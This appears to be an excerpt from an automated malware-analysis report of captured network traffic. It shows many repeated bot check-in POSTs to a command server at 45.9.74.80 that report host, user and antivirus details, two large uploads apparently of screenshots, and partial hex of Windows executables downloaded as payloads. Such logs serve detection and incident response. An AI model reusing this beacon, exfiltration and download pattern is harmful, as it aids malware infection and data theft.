Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTAxNDY3Host: 45.9.74.80Content-Length: 101619Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTY5MjY=Host: 45.9.74.80Content-Length: 97078Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:42:33 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Sun, 28 May 2023 08:40:04 GMTETag: "c3e00-5fcbceaa1bec3"Accept-Ranges: bytesContent-Length: 802304Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d0 34 fa 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 4e 0a 00 00 28 26 00 00 00 00 00 59 4e 00 00 00 10 00 00 00 60 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 30 00 00 04 00 00 01 83 0c 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 51 0a 00 64 00 00 00 00 c0 2e 00 98 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 30 00 e4 0d 00 00 20 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 31 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a 4c 0a 00 00 10 00 00 00 4e 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 58 24 00 00 60 0a 00 00 1e 00 00 00 52 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 93 01 00 00 c0 2e 00 00 94 01 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 38 00 00 00 60 30 00 00 3a 00 00 00 04 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 28 May 2023 08:42:42 GMTContent-Type: application/octet-streamContent-Length: 5129728Last-Modified: Fri, 26 May 2023 16:27:32 GMTConnection: keep-aliveETag: "6470ddf4-4e4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f4 dd 70 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3c 4e 00 00 08 00 00 00 00 00 00 9e 5a 4e 00 00 20 00 00 00 60 4e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 4e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 5a 4e 00 4b 00 00 00 00 60 4e 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 3a 4e 00 00 20 00 00 00 3c 4e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 04 00 00 00 60 4e 00 00 06 00 00 00 3e 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 4e 00 00 02 00 00 00 44 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5a 4e 00 00 00 00 00 48 00 00 00 02 00 05 00 f4 44 4e 00 5c 15 00 00 03 00 00 00 01 00 00 06 d8 27 00 00 1a 1d 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 5f 01 00 00 01 00 00 11 7e 03 00 00 04 2c 0d 28 11 00 00 06 2c 06 16 28 0d 00 00 0a 7e 04 00 00 04 2c 0d 28 13 00 00 06 2c 06 16 28 0d 00 00 0a 7e 05 00 00 04 2c 0d 28 15 00 00 06 2c 06 16 28 0d 00 00 0a 7e 06 00 00 04 2c 0d 28 16 00 00 06 2c 06 16 28 0d 00 00 0a 7e 01 00 00 04 2c 10 7e 02 00 00 04 20 e8 03 00 00 5a 28 0e 00 00 0a 7e 07 00 00 04 2c 11 72 01 00 00 70 72 01 00 00 70 16 28 09 00 00 06 26 16 0a 38 c2 00 00 00 7e 0c 00 00 04 06 6f 0f 00 00 0a 0b 7e 0d 00 00 04 06 6f 0f 00 00 0a 0c 7e 0e 00 00 04 06 6f 0f 00 00 0a 0d 7e 0f 00 00 04 06 6f 0f 00 00 0a 13 04 07 28 08 00 00 06 13 05 7e 0a 00 00 04 2c 09 11 05 28 02 00 00 06 13 05 7e 09 00 00 04 72 03 00 00 70 28 10 00 00 0a 2c 1a 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 11 05 28 04 00 00 06 13 05 2b 29 7e 09 00 00 04 72 31 00 00 70 28 10 00 00 0a 2c 18 11 05 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 28 03 00 00 06 13 05 11 04 07 08 28 13 00 00 0a 28 14 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:42:45 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Tue, 23 May 2023 07:04:01 GMTETag: "51e00-5fc56fdfa7238"Accept-Ranges: bytesContent-Length: 335360Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 6d c9 53 99 0c a7 00 99 0c a7 00 